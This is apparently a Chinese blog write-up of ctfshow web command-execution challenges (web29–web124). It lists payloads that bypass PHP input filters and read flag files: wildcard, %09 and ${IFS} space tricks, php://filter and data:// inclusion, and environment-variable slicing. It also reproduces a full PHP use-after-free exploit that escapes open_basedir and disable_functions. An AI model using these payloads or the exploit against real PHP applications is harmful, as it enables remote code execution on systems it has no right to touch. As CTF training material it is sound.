ctfshow-命令执行


web29

f1. 利用系统命令执行函数

system('ls');

system('cat fla*.php');   //绕过flag正则

2. 右键查看源代码

image-20210608074439768

Web30

  • 1. 利用``绕过系统执行函数
?c=`cp f???.??? 1.txt`;
  • 2. 将flag.php文件的内容打印复制到1.txt,之后访问1.txt

image-20210608101713809

  • 注意: shell_exec等系统函数是没有回显的需要echo 输出

image-20210608154809056

web31

1. 看正则

image-20210608162655123

  • 关键是过滤了.;

  • 尝试嵌套执行

c=eval($_GET[1]);&1=system('ls') //一就相当于留了后门,不被过滤束缚

image-20210608163611135

  • 右键查看源代码

image-20210608163643540

web32

1. 利用文件包含,尝试逃逸

?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image-20210608165926192

web33

1. 尝试文件包含逃逸

image-20210608170511568

http://18e89c48-8a8a-4fe6-a59e-f0c55720ac1b.challenge.ctf.show:8080/?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

web34

1. 尝试文件包含逃逸

http://8e86c432-35e4-48dd-a19c-e61996347b17.challenge.ctf.show:8080/?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

image-20210608171434628

web35

1. 继续尝试文件包含逃逸

image-20210608171831507

http://b28d4bda-f8d4-4603-816c-51381da7e08e.challenge.ctf.show:8080/?c=include%0A$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

web36

1. 文件包含

image-20210608172636282

http://e87b3604-1214-4ce6-9a60-ef9539f9dd07.challenge.ctf.show:8080/?c=include%0A$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php

web37

1. 考虑data协议

?c=data://text/plain,<?php system('cp fla?.php 1.txt')?>
或者
?c=data://text/plain,<?php system('cat fla?.php');?>
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjcCBmbGE/LnBocCAyLnR4dCcpPz4=

image-20210608174851952

web38

1. data协议和php短标签

?c=data://text/plain,<?=system('cat fla?.???');?>

image-20210608175717593

ctfshow{16519daf-05f9-4c1b-b706-6a56d831e1b3}

web39

1. 利用data协议

?c=data://text/plain,%3C?php%20system(%27cat%20fla?.php%27);?%3E
  • 注意: 过滤了flag;

web40

1. 看题

image-20210608185459495

  • 过滤较多,一般函数指定不行,然后看视频。。。

2. 查看当前所有已定义的变量

?c=print_r(get_defined_vars());

image-20210608193411586

  • 发现存在定义的post变量

3. 添加POST变量

image-20210608193556288

4. 提取变量并且获取数组的值

http://ceac00f1-d3c9-4614-8f51-79f3416dd663.challenge.ctf.show:8080/?c=print_r(array_pop(next(get_defined_vars())));

image-20210608194016679

image-20210608194615620

5. 改变变量,执行代码

?c=eval(array_pop(next(get_defined_vars())));

image-20210608194241969

  • 右键查看源代码

image-20210608194345055

web41

根据提示,执行脚本

image-20210609100753107

ctfshow{663878c8-3607-491b-9d1c-354ae652e45e}

web42

1. 双写绕过

  • 利用;可以把第二个命令的结果发送到垃圾桶,第一个命令结果显示保留
?c=cat flag.php;ls
  • 右键查看源代码

image-20210609102322026

ctfshow{ae6939a1-3ae2-45b9-b036-ef871c459d2c}

web43

image-20210609102622824

  • 题目只是把返回的结果,放进了垃圾桶,那么我们执行命令导出flag.php到其他文件,这时候没有返回结果

访问导出的文件

image-20210609102923674

web44

1. 过滤了flag

image-20210609103208476

  • 由于是在system执行,可以用?代替某些字符

2. payload

?c=cp fla?.??? 1.txt

  • 访问1.txt

image-20210609103354142

ctfshow{b1671ebc-eda9-4386-b750-5a492fee7aef}

web45

* 利用%09绕过空格

?c=cp%09fla?.php%091.txt

image-20210609104600389

ctfshow{8b8d41c7-a911-495d-b001-18d6aca4698f}

web46

  • 利用%09仍然可以绕过正则(%09解码之后是水平制表符,不属于数字)
?c=cp%09fla?.php%09g.txt
  • 访问g.txt

image-20210609105703805

ctfshow{6f7eeb82-10f5-42f6-bb43-044d429ce3e8}

web47

http://b8878301-7e46-4813-999e-e4fe94494918.challenge.ctf.show:8080/?c=cp%09fla?.php%09h.txt

image-20210609110004253

web48


?c=cp%09fla?.php%09h.txt
  • 访问h.txt

image-20210609163701482

ctfshow{36e2ca5f-0e0b-453f-92cc-0dfee12b0d7e}

web49

  • 与上一题一样

web50

?c=nl<fla''g.php||ls
  • 右键查看源代码

image-20210609164952231

web51

1. nl输出

?c=nl<fla''g.php||ls
  • 右键查看源代码

image-20210609170101819

web52

1. ${IFS}绕过空格(系统自带空格命令)

?c=cp${IFS}fla?.php${IFS}p.txt||ls

2. 访问p.txt

image-20210609172421347

3. 查找根目录

image-20210609172631692

4. 查看flag

?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt
  • 访问b.txt

image-20210609172930646

web53

1. 利用cp命令

?c=cp${IFS}fla?.???${IFS}b.txt

2. 查看b.txt

image-20210610234208248

web54

1. 利用cp命令

cp${IFS}fl?g.php${IFS}b.txt
  • 注意:不能按顺序出现正则表达式的字母

2. 查看b.txt

image-20210612175902664

web55

* 无符号数字的命令执行 *

1. 解题思路:

  • 构造post数据包上传文件,linux系统下会保存在/tmp/php??????
  • 抓包,使文件中包含sh‘命令
  • 利用.执行

2. 解题方式

2. 1 POST提交数据包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

2.2 抓包,输入命令

image-20210615074808348

  • 注意
tmp目录下文件比较多,我们所上传的文件最后一个字母是大写,因此利用ascii字母的大写匹配,过滤掉其他文件[@-[]

image-20210615075542249

image-20210615075624657

web56

  • 与上一题类似

image-20210615170354875

image-20210615170600718

web57

  • 题目要求flag的文件名是36
  • 利用没有过滤的字符构造36
{_} = ""
$((${_}))=0
$((~$((${_}))))=-1

image-20210706122043754

payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20210706122148253

这里:

  • 37个$((~$(())))

然后:

  • 取反37个$((~$(())))

最后:

  • 得出结果$((~37个$((~$(())))))

image-20210706124103838

绝了。。。

web58

  • 基本思想是查看phpinfo看看什么函数被过滤,但是phpinfo也被过滤

盲猜

  • 利用函数show_source('flag.php');

image-20210706124657681

echo file_get_contents('flag.php'); //也可以

web59

  • 同上

image-20210706124859461

新姿势:

  • include没有禁用
post传参数:
				include($_GET[1])
GET传参数:
				?1=php://filter/convert.base64.encode/resource=flag.php

web60-65

  • 同上

  • ?c=highlight_file('flag.php');

  • include(flag.php);echo $flag;

  • include('flag.php');var_dump(get_defined_vars());

image-20210706152816900

  • print_r(scandir('.'));

  • curl

web66

  • 不在之前的flag.php
  • 查询目录找一找有没有其他文件
print_r(scandir('.')); //查询当前目录

print_r(scandir('/')); //查询根目录
  • 查看源代码

image-20210706164450321

  • 查看flag.txt
c=highlight_file('/flag.txt')

image-20210706164628978

web67

  • 过滤了print_r()函数,改用var_dump()
  • 查看根目录
var_dump(scandir('/'));
  • 显示目标文件

image-20210706204031188

web68

文件包含flag.txt

image-20210706205012465

web69

文件包含

web70

文件包含

web71

  • 下载index.php查看源代码

image-20210706221236731

  • ob_get_contents() 得到缓冲区的数值,这里就是c语句执行之后的结果
  • Ob_end_clean(). 清空缓冲区
  • 想办法提前结束php语句

image-20210706221435906

exit可以终止php脚本的运行

Payload:

c=include('/flag.txt');exit();

image-20210706222440945

Web72

文件名发生改变

解题思路:

  1. 利用glob://找到flag文件对应的目录
  2. 遍历输出目录中的文件
  3. 打开文件

前两步:

$a="glob:///*.txt";
if($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";
}
    closedir($b);
}
exit();

image-20210708105301694

最后一步

Open_basedir:

​ 设置系统打开文件的时候会检查文件的目录,如果是当前文件目录就打开,否则禁止打开

绕过open_basedir的脚本

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

将脚本的所有内容传给参数,并进行url编码

Web73,74

解题思路:

  1. 找到目录文件
  2. 打开flag文件(无open_basedir禁止)
c=
$a="glob:///*.txt";
if($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo"filename:".$file."\n";
}
    closedir($b);
}exit();

image-20210708151234359

c=include('/flagx.txt');exit();

image-20210708151411309

Web75,76(和数据库关联)

  • 找到文件所在的目录
$a="glob:///*.txt";
if($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";
    }
  closedir($b);
}exit();

image-20210709163650536

  • 查找文件(通过数据库)
c=try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36.txt")') as  $row){echo($row[0])."|";}$dbh=null;}catch(PDOException $e){$e->getMessage();exit(0);}exit(0);

Web77

  • 寻找文件(查找根目录的所有文件)

image-20210709170431866

  • 第二个为有效的flag文件

  • FFIphp扩展,允许在PHP语句中使用C语言,返回值是FFI对象.FFI官方链接

Payload:

$ffi=FFI::cdef("int system(const char *command);");
$a = '/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();
  • system()函数用于向操作系统传递控制台命令行/

image-20210709170945380

web118

系统命令的另一种绕过方式:

  • 在环境变量中挑选字母构成命令,执行语句
${PATH:~A}${PWD:~A}$IFS????.???
  • 右键查看源代码

web119

特殊的系统变量

查看系统变量

PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

PHP_VERSION=7.3.22

SHLVL=2

构造查询语句

${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}

解读:

首先获取到3以便于得到PHP_CFLAGS中的tac:

  1. PHP_VERSION中截取
    ${PHP_VERSION:2:1} //切片操作
  • 这里的2:
    可以用${PHP_VERSION:~A}得到字符串的最后一位
  • 这里的1:
    可以用${~SHLVL}得到,因为按位取反10取反得到01所以~2=1

因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}

  1. 最终的tac命令:
    ${PHP_CFLAGS:3:3} //切片操作,也就是上面3的语句直接复制一遍
  2. 也就是:
    ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} //得到tac指令

Payload:

${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???

web120

过滤了小写字母和数字

尝试使用系统变量的大写字母构造语句

base64 flag.php          //仍然是可以执行的

image-20210710090122080

利用系统变量

PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

PHP_VERSION=7.3.22

SHLVL=2


????    //代表base
${#PHP_VERSION}${PHP_CFLAGS:~A}   //代表64
题目需要base64命令的绝对路径:
${PWD::${#SHLVL}}          //代表'/'
${#SHLVL}                  //#用来求变量值的长度
初次完整的命令:
   ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}????${#PHP_VERSION}${PHP_CFLAGS:~A} ????.???                 //长度超过限制需要缩减
随机数:
${RANDOM}  //随机代表一个数
${#RANDOM}  //代表这个随机数的长度

由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字符串代替

最终的语句:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???  //带有随机性,只要${RANDOM}是一个四位数就可以,多试几次

image-20210710092008413

  • 查看源代码解码

image-20210710092214694

web121

与上一题类似,只不过SHLVL被过滤

  • 想办法拿到1:
系统命令中:
$?           //上一次命令执行成功为0,不成功为1

直接修改上一次的payload:
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
  • 多次尝试后得到flag

web122

  • #,PWD被过滤

之前的语句

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

去掉无关的#,替换PWD:
${HOME::$?}???${HOME::$?}?????${#RANDOM} ????.???

替换随机数的#
>A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? //先让其错误执行,是的$?为1

web124

image-20210710110510931

base_convert(1231231131,10,36):

​ 将第一个参数由10进制转换成36进制

由上面函数构造成一个新的函数hex2bin

hex2bin:

​ 16进制转换成二进制字符串

dechex(num)

​ 十进制转成16进制

  • 这两个函数得到_GET函数,即$pi_GET,最后 $$pi=$_GET

  • 以GET方式传参数

$$pi{abs}———–abs为接收的参数

Payload:

?c=$pi=base_convert("37907361743",10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
  hex2bin(aaaa)==>$$pi=$_GET                                    $_GET[abc]()

image-20210710111056365

?c=$pi=base_convert("37907361743",10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php
  • 查看源代码

image-20210710111421967


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录